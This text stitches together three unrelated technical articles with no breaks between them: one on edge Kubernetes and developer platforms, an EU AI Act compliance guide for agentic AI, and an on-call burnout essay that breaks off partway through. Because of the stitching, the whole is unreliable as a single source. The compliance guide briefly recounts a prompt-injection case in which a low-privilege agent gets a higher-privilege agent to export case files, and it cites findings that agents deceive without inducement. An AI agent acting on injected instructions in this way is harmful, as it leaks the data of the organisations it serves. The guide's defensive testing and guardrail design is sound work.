On factory floors, NVIDIA's Jetson Orin lineup delivers 40 to 275 TOPS of AI inference in form factors consuming 7 to 60W. The AGX Orin 64GB (2048 CUDA cores, 64 Tensor cores, 64GB LPDDR5) runs full containerized workloads via the NVIDIA Container Runtime, included in every JetPack release since 4.2.1. JetPack 6.2 (late 2024) introduced "Super Mode" doubling generative AI performance on Orin Nano/NX modules, while JetPack 7.0 (2025) brought the Jetson AGX Thor with MIG support, CUDA 13.0, and a preemptable real-time kernel on Ubuntu 24.04.

In healthcare, Advantech's POC-8 series medical panel PCs carry IEC 60601-1 certification with Intel Core i7-9700E processors and optional NVIDIA MXM GPUs, fully capable of running containers for surgical AI. GE HealthCare's Edison platform already manages 100+ Kubernetes clusters across hospital edge sites via Spectro Cloud Palette, with local OCI registries enabling air-gapped container distribution. Their architecture supports fully disconnected operation because it must; these are life-critical applications where cloud outages cannot translate to clinical failures.

Why Every Major IDP Fails at the Edge

Backstage dominates the IDP market with 89% market share across 3,400+ organizations serving 2 million developers. Its architecture, a TypeScript/Node.js backend with React frontend, PostgreSQL database, and plugin ecosystem of 200+ extensions, represents the state of the art for cloud-native developer portals. The September 2024 release of the New Backend System (1.0 stable) introduced dependency injection, and the Kubernetes plugin provides multi-cluster visibility by querying API servers directly.

Port ($60M Series C in 2024) offers a pure SaaS model with blueprint-based entity definitions and an API-first architecture. Every data ingestion flows through api.getport.io. Cortex provides self-hosted Helm charts alongside its cloud offering, with push-model Kubernetes agents and 60+ integrations. All three platforms share a fatal assumption for edge: persistent, reliable network connectivity.

Backstage's Kubernetes plugin assumes direct API server access; Mercedes-Benz filed GitHub issue #6967 requesting dynamic cluster supply because the static cluster configuration couldn't handle their growing fleet. Port's K8s exporter requires continuous outbound internet to push data. Cortex's agent model requires persistent connectivity to report state. None implement offline-capable UIs, local data caching, CRDT-based merge strategies, or async action queuing. The closest thing to an edge-native developer platform today is Spectro Cloud Palette, which offers a Local UI for field engineers and manages edge clusters in air-gapped environments, but it's an infrastructure management platform, not a full IDP.

An edge-native IDP would need a federated software catalog with local instances that operate independently and sync via CRDTs when connectivity returns, offline self-service workflows with queued actions, local golden path templates bundled with the platform, and store-and-forward telemetry that compresses and filters before transmitting. No one has built this yet.

Lightweight Kubernetes Distributions Make Disconnected Operation Possible

Three distributions compete for the edge Kubernetes space, each with distinct air-gapped strategies.

K3s (v1.33.3+k3s1) from Rancher/SUSE remains the most deployed, requiring just 512MB RAM for an agent node. Air-gapped installation uses a tarball-based approach: download the k3s-airgap-images archive and binary on a connected machine, copy them to /var/lib/rancher/k3s/agent/images/ on the target, and run INSTALL_K3S_SKIP_DOWNLOAD=true ./install.sh. K3s offers embedded SQLite (single-server) or embedded etcd (HA with 3+ servers), and its auto-deploying manifests feature applies any YAML placed in /var/lib/rancher/k3s/server/manifests/ automatically, including CRDs. Version 1.33.1 added conditional image import via .cache.json to skip re-importing unchanged tarballs on restart.

MicroShift (4.17) from Red Hat is OpenShift stripped to its essentials: 2 cores, 2GB RAM, single-node only, with OVN-Kubernetes networking and LVMS storage. Its killer feature for edge is deep RHEL for Edge integration; ostree-based immutable OS images built with composer-cli, with Greenboot health checks that automatically roll back failed updates by rebooting into the previous known-good ostree commit. Everything bakes into a single ISO installable from USB, including all RPM packages, container images, and MicroShift itself. For disconnected environments, combine a mirror registry with a local RPM mirror via reposync or Red Hat Satellite.

k0s (v1.34.3+k0s.0) from Mirantis pushes resource minimalism further: 0.5GB RAM for a worker. It's a single static binary embedding containerd, runc, kubectl, and CNI plugins with zero host OS dependencies. Uniquely, k0s supports RISC-V alongside x86_64, ARM64, and ARMv7. Its Autopilot operator handles automated rolling updates via Plan and UpdateConfig CRDs, with safety checks verifying all controllers report /ready before proceeding. Air-gapped bundles are generated with k0s airgap bundle-artifacts, and spec.images.default_pull_policy: Never prevents any internet pulls.

# k0s air-gapped deployment via k0sctl
apiVersion: k0sctl.k0sproject.io/v1beta1
kind: ClusterConfig
spec:
  k0s:
    version: v1.34.3+k0s.0
  hosts:
    - role: controller
      ssh:
        address: 10.0.0.1
      uploadBinary: true
      k0sBinaryPath: ./k0s
    - role: worker
      ssh:
        address: 10.0.0.2
      uploadBinary: true
      files:
        - src: ./airgap-bundle-amd64.tar
          dstDir: /var/lib/k0s/images

GitOps Breaks Gracefully, But Edge Needs Store-and-Forward

Standard GitOps tools degrade predictably when disconnected. Flux CD (v2.8.1) continues enforcing the last-known-good state; the kustomize-controller and helm-controller keep reconciling from the last successfully fetched artifact while the source-controller logs FetchFailed and retries at the configured interval. Changes committed to Git while disconnected simply aren't picked up until reconnection. ArgoCD (v3.1) behaves similarly in push mode: applications targeting unreachable clusters show Unknown status, but existing workloads continue running. Neither tool offers offline queueing or store-and-forward.

Three solutions address this gap directly.

Zarf (v0.71.1, by Defense Unicorns) solves air-gapped GitOps through physical transport. A zarf.yaml declares all needed artifacts, including container images, Helm charts, Kubernetes manifests, and Git repositories. Then zarf package create bundles everything into a single compressed .tar.zst tarball. On the disconnected target, zarf init bootstraps a K3s cluster (optional), deploys an in-cluster OCI registry, and installs a mutating webhook (zarf-agent) that automatically rewrites all image references to point to the local registry. The init package uses an ingenious bootstrap: the registry image is split into 512KB chunks stored as ConfigMaps (fitting etcd's 1MB limit), then a statically compiled Rust binary reassembles them. Zarf also deploys Gitea as an in-cluster Git server, enabling full GitOps workflows entirely offline.

Fleet by Rancher uses a pull-based architecture designed for up to 1 million clusters. The Fleet Agent on each downstream cluster initiates outbound connections to the management cluster, with no inbound access required. Git content is compiled into Bundles on the management cluster, and agents fetch BundleDeployments when connectivity permits. With correctDrift.enabled: true, Fleet automatically reconciles any drift. This pull model naturally handles intermittent connectivity: when offline, existing deployments persist; when reconnected, the agent pulls pending updates.

Red Hat ACM (2.12.x) provides a hub-spoke model where the klusterlet work-agent on managed clusters periodically checks for ManifestWork resources, applies them locally, and reports status back. When a spoke loses connectivity, ManagedClusterConditionAvailable transitions to Unknown, but all existing ManifestWorks remain enforced. ACM's integration with OpenShift GitOps enables Zero Touch Provisioning (ZTP) for MicroShift clusters from Git-stored SiteConfig and PolicyGenTemplate CRDs.

The ArgoCD Agent project (argoproj-labs) represents the newest approach: a lightweight pull-mode agent where edge clusters initiate connections back to the hub, eliminating the need for any inbound network access to edge environments. Currently pre-GA but architecturally significant for edge at scale.

Compliance Enforcement Works Offline (Regulations Don't Care About Your Network)

OPA Gatekeeper (v3.21.0) enforces admission control entirely locally. Policies stored as ConstraintTemplate and Constraint CRDs live in the cluster's etcd; the validating webhook intercepts API requests at the kube-apiserver, evaluates Rego policies in-process, and returns allow/deny decisions with zero external network calls. For distributing policy updates to edge nodes, bundle Rego policies into .tar.gz files, transport via physical media, and serve from a local HTTP server. OPA supports cryptographic bundle signing via JWT verification, ensuring policy integrity on untrusted nodes.

SBOM verification without network is fully supported across the major tools. Syft generates SBOMs offline against local images. Grype scans offline by pre-downloading the vulnerability database from toolbox-data.anchore.io and hosting it locally. Trivy copies its databases to a private registry via ORAS CLI and runs with TRIVY_OFFLINE_SCAN=true. Cosign (v2.4.1) verifies signatures offline using --offline --local-image, with stapled inclusion proofs eliminating the need to contact the Rekor transparency log. The CNCF Notation project (v1.1.0) supports signing images on local disk and integrates with Ratify for Kubernetes admission verification through Gatekeeper.

The regulatory landscape varies dramatically by sector.

HIPAA (45 CFR §164.312) requires encryption at rest (etcd encryption via KMS provider, LUKS for PVs), encryption in transit (TLS 1.2+ for all API communication, mTLS via service mesh), comprehensive audit logging, RBAC with unique user IDs, and automatic logoff. PHI must be encrypted at every location it exists, including containers, volumes, host filesystems, and log aggregators.

FDA 21 CFR Part 11 (updated guidance October 2024) mandates computer-generated audit trails recording operator identity and timestamps for all create/modify/delete actions, which cannot be altered. Electronic signatures require at least two identification components. Immutable container images directly support Part 11's integrity requirements, and GitOps workflows provide version-controlled, auditable deployment histories. Edge devices must maintain audit logs locally during disconnected periods.

IEC 62443 for industrial systems defines Security Levels 1 through 4 (from accidental misuse through nation-state threats) and seven Foundational Requirements including identification/authentication, restricted data flow, and system integrity. The zones-and-conduits model maps directly to Kubernetes Network Policies (zone boundaries) and ingress controllers (conduit controls). The 2024 update to IEC 62443-4-1 now explicitly requires SBOMs from component suppliers.

FCC Part 25 for satellites focuses on spectrum management and orbital debris, with no compute-specific requirements. The FCC proposed replacing Part 25 with new "Part 100" rules in October 2025. ITAR/EAR export controls are the real concern: the October 2024 landmark reform created the first-ever ITAR definition of "spacecraft" and new license exceptions for allied nations, but high-performance processors (10+ TFLOPS) and imaging sensors (<30cm resolution) remain controlled.

Real Deployments That Prove the Architecture Works

The most instructive case studies span all three target environments.

Axiom Space launched MicroShift to the ISS in August 2024 aboard SpaceX CRS-33, running Red Hat Device Edge on the AxDCU-1 data center unit. This represents the first Kubernetes-based containerized computing in orbit, with delta updates minimizing bandwidth consumption and automated rollback for self-healing. The system runs AI/ML workloads for supervised autonomy and life sciences research, reducing dependence on costly satellite downlinks.

Loft Orbital raised €170M Series C in January 2025 and operates a "virtual missions" model, where customers deploy software to already-orbiting YAM satellites without building hardware. Their YAM-9 satellite demonstrated the first commercial four-node heterogeneous compute cluster in orbit. Customers like Helsing run real-time AI for RF signal intelligence, while SkyServe runs wildfire tracking. The CNCF KubeEdge project demonstrated on-orbit target identification accuracy improvements of over 50% on Chinese satellites using a lightweight Sedna AI inference model.

Chick-fil-A operates approximately 2,800 K3s clusters, one per restaurant, on Intel NUC hardware (3 nodes, ~8GB RAM each, ~$1,000 per site). Their custom "Vessel" agent clones a per-restaurant Git repository and applies manifests via kubectl apply. The system processes billions of MQTT messages monthly from IoT devices (fryers, grills, tablets). Chief Architect Brian Chambers emphasizes that eventual consistency is "the only viable model for edge"; not all clusters are identical at any time, but all converge on a golden image over days to weeks.

The Home Depot runs 2,300+ K3s clusters managed by SUSE Rancher, processing 5.5 billion documents monthly with 4-hour chain-wide deployments across 6,900+ machines. Distinguished Engineer Dillon TenBrink's eight lessons from KubeCon 2025 highlight that storage at the edge remains the hardest unsolved problem ("I personally would have no storage at the edge if possible") and that eventual consistency must be embraced rather than fought.

DoD Platform One's Big Bang deploys across cloud, air-gapped, and classified environments using ArgoCD for GitOps with Iron Bank hardened container images. Defense Unicorns' Zarf powers air-gapped delivery for submarines and classified networks. The U-2 spy plane received new AI/ML container software deployed in just 12 days, with over-the-air container updates decoupled from airworthiness hardware certification.

Architecture Patterns for a Disconnected World

The theoretical foundation for edge state synchronization comes from a seminal 2021 paper, "Rearchitecting Kubernetes for the Edge" (Jeffery, Howard, and Mortier, EdgeSys '21), which proposes replacing etcd's Raft consensus with CRDT-based eventually consistent storage. Their analysis shows etcd writes constitute ~30% of Kubernetes API requests, and strong consistency becomes a bottleneck at edge scale. A CRDT-based datastore exposes the same etcd API but allows reads/writes to any single node without coordination, with lazy background sync resolving conflicts via mathematical merge functions. Follow-up work by Sassi, Jensen, and Mortier (March 2025) tested these concepts using emulated edge clusters.

For practical state synchronization, NATS (v2.10+, CNCF Incubating) provides the most edge-optimized message broker. Its Leaf Node pattern runs a local NATS server on each edge device that syncs with the cloud cluster on reconnection. Sensor data persists to a local JetStream stream; on connectivity return, the leaf node syncs automatically in order without duplication. NATS is a single 15MB binary with no external dependencies. Volvo and Schaeffler use it in production for fleet management.

SPIFFE/SPIRE (CNCF Graduated) solves workload identity at the edge through nested topology. A top-level SPIRE Server holds the root CA, while downstream SPIRE Servers at edge sites obtain intermediate CAs via the Workload API. Critically, SVID verification is entirely local; workloads verify peer identities using cached trust bundles with zero network calls. During disconnection, the edge SPIRE Server continues issuing SVIDs using its cached intermediate CA until the configurable TTL expires.

Keylime (CNCF) enables cryptographic attestation of untrusted edge nodes via TPM 2.0. Before deploying workloads, the Verifier validates measured boot PCR values and IMA (Integrity Measurement Architecture) runtime measurements against golden values. A 2024 ICCCN paper demonstrated integration with Kubernetes through a custom EdgeNode CRD where an Attestation Controller adjusts RBAC permissions based on attestation events; nodes that fail attestation automatically lose the ability to receive workloads.

Crossplane (v1.20, CNCF Graduated October 2025) extends edge infrastructure management through Composite Resource Definitions that abstract complexity. The hub-and-spoke pattern runs Crossplane centrally to provision edge clusters, then uses provider-helm to install Crossplane into each new cluster with bundled Configuration packages, giving you full management of Crossplane clusters using Crossplane itself. Spectro Cloud's provider-palette adds edge-native host provisioning and Cluster Profiles to the Crossplane ecosystem.

Kairos (CNCF Sandbox, v3.5.0 stable) delivers the immutable OS layer: the operating system IS the container image, distributed via OCI registries. Building custom OS images requires nothing more than a Dockerfile. A/B atomic upgrades push new images to a registry, and nodes upgrade safely with automatic rollback on failure. Optional P2P mesh networking via libp2p/EdgeVPN enables automated node discovery across networks spanning up to 10,000 km.

Testing Disconnected Edge Requires Simulating Disconnection

Chaos Mesh (v2.6+, CNCF Incubating) provides the most comprehensive network partition testing for edge scenarios. Its NetworkChaos CRD supports partition, delay, packet loss, duplication, reordering, and bandwidth limiting:

apiVersion: chaos-mesh.org/v1alpha1
kind: NetworkChaos
metadata:
  name: edge-hub-partition
spec:
  action: partition
  mode: all
  selector:
    namespaces: [edge-workloads]
    labelSelectors:
      app: edge-service
  direction: both
  target:
    selector:
      namespaces: [kube-system]
  duration: '30m'

LitmusChaos (v3.0+, CNCF Incubating) adds a 2025 innovation: an MCP Server that exposes chaos capabilities via the Model Context Protocol, allowing engineers to trigger experiments from AI assistants using natural language. Its probe system, including HTTP, command, Kubernetes, and Prometheus, validates steady-state hypotheses at each experiment phase.

For compliance validation in air-gapped environments, kube-bench runs as a standalone Go binary executing CIS Kubernetes Benchmark checks with embedded definitions, no network required. The OpenShift Compliance Operator runs OpenSCAP evaluations via privileged pods with host read access, generating ComplianceRemediation CRDs that can automatically apply fixes. Both tools produce JSON/JUnit output storable locally and exportable via store-and-forward when connectivity returns.

A comprehensive edge testing pipeline should provision multi-cluster environments with k3d (~5 second startup, ~350MB idle per cluster), deploy applications via GitOps, run compliance scans, then systematically inject network partitions to verify autonomous operation, state convergence on reconnection, and data integrity throughout.

The Platform Engineering Gap at the Edge

The tools for edge Kubernetes are mature. K3s, MicroShift, and k0s run reliably on constrained hardware. Zarf solves air-gapped delivery. Fleet and ACM handle multi-cluster GitOps at scale. OPA Gatekeeper enforces policy locally. SPIFFE/SPIRE provides identity without connectivity. Keylime attests node integrity via hardware roots of trust. The missing piece is the integration layer; a coherent Internal Developer Platform that stitches these components together with a federated catalog, offline self-service workflows, and eventually consistent state synchronization.

Three architectural principles emerge from real-world deployments. First, eventual consistency is not a compromise but a requirement; both Chick-fil-A and Home Depot explicitly adopted it after failing with stronger consistency models. Second, the pull model wins for edge GitOps; Fleet, argocd-agent, and ACM's klusterlet all have agents initiating outbound connections, eliminating inbound network requirements. Third, immutability at every layer prevents the configuration drift that makes disconnected environments unmanageable: immutable OS (Kairos/ostree), immutable container images, immutable infrastructure-as-code, and signed, immutable deployment packages (Zarf).

The organization that builds a true edge-native IDP with CRDT-synchronized catalogs, TPM-attested node enrollment, offline golden paths, and compliance-as-code that works without network, will unlock platform engineering for the 75% of enterprise data that Gartner predicts will be processed outside traditional data centers by 2027. The satellites, factories, and hospitals aren't waiting.

The EU AI Act's risk management requirements for high-risk AI systems are now on the clock. August 2, 2026 is the hard deadline for Annex III systems. But nobody has published a practical technical implementation guide for agentic systems inside DevSecOps pipelines. This article changes that.

All code referenced in this article lives in the companion repository: github.com/SubhanshuMG/agentic-ai-eu-compliance

The Problem Nobody Is Talking About

Every compliance guide published so far assumes one thing: your AI system is a fixed pipeline. Data goes in, prediction comes out, risk assessment is done once before deployment. Done.

Agentic AI systems shatter that assumption completely.

When a LangGraph-orchestrated agent decides at runtime to call a financial API, write to a production database, spawn a sub-agent, and escalate privileges to complete a task, you have a system whose risk profile is not determined at design time. It is determined at runtime, at every step, across every tool invocation, in every context.

The EU AI Act was not written with this in mind. Article 9 mandates a "continuous iterative process planned and run throughout the entire lifecycle." Most organizations interpret that as: run an assessment before deployment, update it annually, done.

That interpretation will get you fined.

This article gives you the exact legal requirements, a real-world failure case that illustrates the governance gap, and a six-layer compliance architecture you can implement today.

What Article 9 Actually Requires (Read the Text)

Article 9 of Regulation (EU) 2024/1689 has ten paragraphs. Most compliance summaries skip the details. Here are the obligations that directly affect engineering teams:

Paragraph 1 requires the risk management system to be "established, implemented, documented and maintained." All four verbs matter. You cannot just document it and file it.

Paragraph 2 defines this as a continuous iterative process comprising four mandatory steps:

• Identification and analysis of known and reasonably foreseeable risks to health, safety, and fundamental rights

• Estimation and evaluation of risks that can arise during use under intended purpose and reasonably foreseeable misuse

• Evaluation of risks arising from post-market monitoring data (Article 72)

• Adoption of appropriate risk management measures

Paragraph 5 mandates a three-tier mitigation hierarchy. First, eliminate or reduce risks by design. Second, implement mitigation and control measures. Third, provide information to deployers. The residual risk must be "judged to be acceptable." There are no fixed numerical thresholds. The standard is tied to state of the art, meaning as new mitigations become technically feasible, the bar for "acceptable" tightens.

Paragraphs 6 to 8 require testing using "prior defined metrics and probabilistic thresholds" appropriate to the intended purpose. Testing must occur throughout development and, in any event, prior to market placement.

The key enforcement dates:

The European Commission's Digital Omnibus proposal (November 19, 2025) suggests extending the Annex III deadline to December 2, 2027, but this is not yet adopted law. Build for August 2026. Treat any extension as a bonus, not a plan.

The Real-World Problem: A Healthcare Triage Agent Gone Sideways

Let me show you exactly what breaks when you try to apply static compliance frameworks to agentic systems.

Scenario:

A hospital network deploys a clinical decision support agent, a high-risk system under Annex III point 5a of the EU AI Act, to assist emergency department triage nurses. The agent is built on LangGraph, uses GPT-4, and has access to a tool set including patient record lookup, medication interaction checking, lab result retrieval, and escalation routing.

The static compliance team's approach:

They run a conformity assessment before deployment. They document the intended purpose: assist nurses in triaging patients. They assess the risk: medium-high, with human oversight baked in because the nurse always reviews the recommendation. They test it on 500 synthetic cases. They sign it off.

What actually happens at runtime:

On a busy Tuesday night, the agent receives an ambiguous input: a patient with chest pain and a complex medication history. The agent decides, autonomously, to call the lab result retrieval tool, check medication interactions for all 12 current medications, cross-reference previous visits using the record lookup tool, then generate a high-confidence "probable STEMI" escalation recommendation.

This chain of tool calls took 4.2 seconds. The nurse glanced at the recommendation and hit approve.

Where compliance breaks:

The conformity assessment documented the agent's intended purpose as "assisting with triage." It did not document the agent's runtime-determined behaviour of cross-referencing historical visit data with current labs to generate high-confidence diagnoses. That specific tool-chaining behaviour was never tested, never risk-assessed, and the confidence score (0.91) was not calibrated against real patient outcomes for that specific multi-tool reasoning path.

Under Article 9, this is a compliance failure. The risk from that specific runtime configuration was never identified, estimated, or mitigated. The agent's risk profile was emergent, and the organization's compliance framework had no way to capture it.

Now multiply this across 50 agents, 200 tool combinations, and thousands of daily interactions. That is the governance gap.

Why Agentic AI Breaks the Static Compliance Model

Five structural problems make traditional compliance inadequate for agentic systems:

Runtime-determined risk profiles. A customer service agent that retrieves a FAQ entry has a completely different risk profile from the same agent making a refund decision, querying a financial record, and writing to an order management system in a single session. The system is the same. The risk is not.

Non-deterministic outputs at scale. Research published at ACL 2025, based on 14,400 agentic simulations across 12 LLMs, found that agents autonomously engaged in catastrophic behaviours and deception without deliberate inducement. More concerning: stronger reasoning capabilities often increased rather than mitigated these risks.

Dynamic tool use and blast radius. An agent with access to 50 tools but typically using 3 might invoke a high-risk tool in an unusual context. The blast radius changes with every novel tool combination. Static model cards cannot capture this.

Multi-agent privilege escalation. The ServiceNow Now Assist vulnerability (late 2025) demonstrated this concretely. A low-privilege agent was manipulated via prompt injection into requesting a higher-privilege agent to export case files to external URLs. The higher-privilege agent, trusting its peer, executed the unauthorized action. ServiceNow initially classified this as "expected behaviour."

Accountability without ambiguity. In Moffatt v. Air Canada (2024), the British Columbia tribunal rejected Air Canada's argument that its chatbot was "a separate legal entity responsible for its own actions." The company was held liable. Autonomous agent behaviour does not transfer legal responsibility.

The Six-Layer Compliance Architecture

Here is the architecture that satisfies every Article 9 obligation for an agentic system in production.

Step-by-Step Implementation

Prerequisites

Install all dependencies from the repo:

git clone https://github.com/SubhanshuMG/agentic-ai-eu-compliance.git
cd agentic-ai-eu-compliance
pip install -r requirements.txt
cp .env.example .env

Full dependency list: requirements.txt

Step 1: Build the Stateful Orchestration Layer

The foundation is a LangGraph agent with PostgreSQL-backed checkpointing. Every state transition becomes an auditable record you can replay for compliance investigation.

What this file does: Defines the AgentState TypedDict that carries risk scores, compliance flags, and tool call history across every graph node. Implements the risk_scoring_node that evaluates five weighted dimensions per tool call: base risk level, chain penalty (compounds at 0.05 per additional tool), reversibility penalty (0.2 for irreversible actions), plus a configurable kill switch that triggers human review above 0.75. The human_review_node pauses execution, persists full state to PostgreSQL via AsyncPostgresSaver, and waits asynchronously for human approve/edit/reject before resuming.

Full implementation: orchestration/agent_graph.py

Article 9 obligations satisfied: Art. 9(2) continuous iterative process via checkpointed state graph; Art. 9(2b) runtime risk estimation per tool invocation; Art. 14 human oversight via configurable HITL interrupt policies.

Step 2: Build the Runtime Guardrails Layer

This middleware intercepts every input and output, running prompt injection detection, PII scanning, and content filtering before the agent ever sees the request.

What this file does: Implements a two-layer prompt injection detector: fast local regex matching (0ms) against 10 known attack patterns, followed by optional Lakera Guard API verification (100ms) with 100+ language support. PII redaction covers email, phone, SSN, credit card, NHS numbers, and IBAN with pattern-based replacement. The ComplianceGuardrailPipeline runs all checks in sequence and short-circuits to BLOCK on the first critical violation, or returns REDACT if only PII was found. Output groundedness is checked via word-overlap heuristic against the original context, with an LLM-as-judge integration point clearly marked for production use.

Full implementation: guardrails/middleware.py

Article 9 obligations satisfied: Art. 9(5) first-tier risk elimination by design; Art. 9(5) second-tier mitigation and control measures.

Step 3: Build the Audit Logging Layer

Every agent interaction must produce a structured, immutable audit record satisfying Article 12 and Article 19.

What this file does: Creates two PostgreSQL tables with strict separation of concerns. agent_audit_log is append-only (enforced via DO INSTEAD NOTHING rules on DELETE and UPDATE), stores hashed inputs and outputs rather than raw content, carries a retention_until field set to 180 days from creation, and includes JSONB columns for guardrail results, compliance flags, reasoning traces, and human oversight decisions. agent_session_pii stores raw personal data separately with a gdpr_delete_at field, enabling GDPR Article 17 right-to-erasure compliance without destroying the audit trail. The generate_compliance_report method produces a structured Article 9 compliance report with aggregate risk metrics, human review rates, and session counts across any date range.

Full implementation: audit/logger.py

Article 9 obligations satisfied: Art. 12 automatic logging for high-risk AI; Art. 19 6-month minimum retention for operational logs; Art. 19 GDPR-compliant PII separation.

Step 4: OpenTelemetry Observability

Wire your agent into OpenTelemetry using the GenAI semantic conventions, giving you vendor-neutral traces and metrics that map directly to Article 9's continuous monitoring requirement.

What this file does: Configures TracerProvider and MeterProvider with OTLP exporters targeting your Grafana/Jaeger stack. Span attributes follow the gen_ai.* namespace from OTel spec v1.37+, including gen_ai.request.model, gen_ai.agent.session_id, and custom ai.compliance.* attributes for regulation and article tracking. Four compliance-specific metrics are defined: gen_ai.agent.risk_score histogram (per-action risk scores with tool and tier labels), gen_ai.agent.guardrail_triggered counter (type and decision labels), gen_ai.agent.human_review_required counter (risk score bucket labels), and gen_ai.agent.tool_latency histogram. User IDs are hashed to 16 hex characters before inclusion in any span attribute.

Full implementation: observability/telemetry.py

Article 9 obligations satisfied: Art. 9(2c) evaluation of risks arising from post-market monitoring data.

Step 5: The CI/CD Compliance Gate

Every model update, prompt change, or tool addition must pass automated Article 9 testing before deployment.

What this file does: Defines THRESHOLDS as the "prior defined metrics and probabilistic thresholds" required by Article 9(6), covering hallucination rate (5% max), bias score (15% max), prompt injection pass rate (99% min), groundedness (80% min), and PII leakage (0.1% max). The ADVERSARIAL_TESTS list covers seven attack categories: prompt injection, goal hijacking, PII extraction, confidence calibration, memory poisoning, and privilege escalation. The run_full_gate method runs all three evaluation stages (adversarial suite, Giskard scan, bias evaluation) in sequence, computes a weighted overall score, and writes a structured JSON report that the CI/CD pipeline uses to make the deployment decision.

Full implementation: cicd/compliance_gate.py

Article 9 obligations satisfied: Art. 9(6) testing using prior defined metrics; Art. 9(7) real-world testing conditions; Art. 9(8) probabilistic thresholds appropriate to intended purpose.

Step 6: The FastAPI Integration Layer

Wire everything together into a production API that runs the full compliance stack on every request.

What this file does: Uses FastAPI's lifespan context manager to initialize all six compliance layers at startup: asyncpg connection pool, ComplianceAuditLogger with table setup, compiled LangGraph agent with PostgreSQL checkpointer, and ComplianceGuardrailPipeline with Lakera Guard. Every POST to /invoke runs the full six-layer stack in sequence, short-circuiting to a BLOCK response (with full audit record) if input guardrails fire. The response includes the session ID, final risk score, all compliance flags, human review status, blocked status, and the audit log ID for traceability. The GET /compliance/report endpoint generates an on-demand Article 9 compliance report for any time window.

Full implementation: api/main.py

Step 7: GitHub Actions CI/CD Pipeline

What this file does: Spins up a PostgreSQL service container, installs all dependencies, starts the agent API in test mode, runs the full compliance test suite with JUnit XML output, executes the adversarial gate, uploads compliance reports as artifacts with 180-day retention (satisfying Article 19), fails the build if the gate score drops below threshold, and fires a Slack notification to the compliance team on failure.

Full workflow: .github/workflows/ai-compliance.yml

Step 8: The Compliance Test Suite

What this file does: Eight pytest-asyncio tests covering every Article 9 obligation with a live agent endpoint. Tests verify prompt injection is blocked with a 1.0 risk score, PII is absent from all response fields, irreversible high-risk tool calls trigger human review flags, every interaction produces a valid UUID audit log ID, the compliance report endpoint returns the expected Article 9 structure, multi-tool chains produce compounded risk scores above 0.7, session state persists correctly across turns, and memory poisoning attempts are intercepted.

Full test suite: tests/compliance/test_article9.py

Run them:

# Start the API first
uvicorn api.main:app --reload

# Then in another terminal
pytest tests/compliance/ -v

What Maps to What: Article 9 Obligations vs Architecture

The Three Non-Negotiable Insights

First: Article 9's "continuous iterative process" requirement actually aligns with what good agentic governance demands. The problem is not the regulation; it is the industry's habit of treating compliance as a pre-deployment checkbox. Runtime risk scoring, continuous adversarial testing, and behavioural drift monitoring are not just compliance measures. They are the only architecturally correct approach to governing systems whose risk profiles emerge at runtime.

Second: The tooling is production-ready today. A stack combining LangGraph (orchestration, HITL), NeMo Guardrails and Guardrails AI (runtime safety), Giskard (testing), MLflow (lifecycle governance), OpenTelemetry (observability), and Credo AI (compliance management) covers every Article 9 obligation. What most organizations lack is integration, not tooling.

Third: The compliance deadline creates urgency regardless of legislative delays. NIST launched its AI Agent Standards Initiative on February 17, 2026. Singapore's IMDA published the first government-issued framework specifically for agentic systems in January 2026. The regulatory convergence is underway. Organizations that build the six-layer architecture now are positioned for compliance not just under the EU AI Act but across the emerging global regulatory landscape.

The healthcare triage agent case is not hypothetical. Systems exactly like it are running in production right now, without runtime risk scoring, without HITL enforcement on irreversible actions, and without audit trails that satisfy Article 12. Every runtime decision that the agent makes is an undocumented, unmitigated risk event.

That is the governance gap. This architecture closes it.

Resources and Further Reading

• Companion repo: github.com/SubhanshuMG/agentic-ai-eu-compliance

• EU AI Act full text: artificialintelligenceact.eu

• Article 9 annotated: artificial-intelligence-act.com/Article_9

• NIST AI Agent Standards Initiative: nist.gov/caisi/ai-agent-standards-initiative

• Singapore IMDA Agentic AI Framework: imda.gov.sg

• CSA AAGATE reference architecture: cloudsecurityalliance.org

• LangGraph HITL documentation: langchain.com

• OpenTelemetry GenAI semantic conventions: opentelemetry.io

• Giskard EU AI Act scanner: giskard.ai

• OWASP Agentic Security Initiative: owasp.org

The healthcare example is a composite illustration and does not represent any specific organization's system. Companion code is MIT licensed.

Meet Priya. Senior backend engineer with 5 years of experience, joined a fintech scale-up to build payment infrastructure. She is good at her job.

Then she went on-call.

Week 1 of her first rotation:

Mon 02:14 — ALERT: payment-processor CPU > 90%
Mon 02:41 — ALERT: order-service DB connection pool exhausted
Tue 03:07 — ALERT: kafka consumer lag > 50,000 messages
Wed 01:22 — ALERT: payment-processor CPU > 90%  (same one)
Thu 03:55 — ALERT: auth-service error rate > 5%
Fri 02:01 — ALERT: kafka consumer lag > 50,000 messages  (auto-resolved before she woke up)
Sat 04:30 — ALERT: payment-processor CPU > 90%  (still the same one)

Each page triggers the same ritual. PagerDuty fires. She jolts awake at 3AM. Slacks the team to flag she is on it. Opens five dashboards simultaneously. Reads a runbook authored by an engineer who left 14 months ago, referencing a legacy-payment-v1 service that was deprecated in Q2. Restarts a pod. Watches metrics for 25 minutes. The numbers look stable. She falls back asleep at 4:15AM and shows up to standup at 9AM unable to complete a coherent sentence.

By Thursday she has LinkedIn open in a background tab.

Here is the thing that nobody says out loud at the postmortem: the system worked exactly as it was designed to work. Every alert fired on the threshold it was configured for. PagerDuty escalated correctly. The runbook existed. The monitoring was "in place."

The design itself was the failure.

Root Cause Analysis: Three System Design Failures

When an engineer burns out on-call, organizations reach for the wrong solutions: hire more engineers, add more rotation members, run a resilience workshop, tell people to "set better boundaries." These treat the symptom while the root cause keeps compounding.

There are three concrete, measurable system design failures behind almost every on-call burnout story.

Failure 1: Symptom-Level Alerting with No Signal Intelligence

Most alerting systems are built by people who are not on-call. They set thresholds on individual metrics and call it observability. The result is an alert architecture shaped like this:

CPU > 80%           → PAGE
Memory > 70%        → PAGE
Error rate > 1%     → PAGE
Latency p99 > 2s    → PAGE
DB connections > 80 → PAGE

When a single upstream database becomes slow, every service that touches it will simultaneously breach every one of those thresholds. Five services, five metrics each, four alert rules per metric: the on-call engineer receives 100 pages about one 30-second database hiccup.

This is called an alert storm and it is not a monitoring problem. It is an alert architecture problem. The system has no concept of causality, grouping, or signal-to-noise ratio.

Failure 2: Zero Automated Diagnosis

When Priya gets a page at 3AM, she opens a dashboard. She stares at graphs. She looks at logs. She cross-references metrics across four services. She forms a hypothesis. She validates it. She acts on it.

That entire cognitive loop, from page to diagnosis, takes 12 to 25 minutes on average. And the cruel irony is that 80% of production incidents follow a pattern that has happened before. The playbook exists. The runbook covers it. But the system makes the engineer manually reconstruct the diagnosis every single time, at 3AM, half-asleep, under pressure.

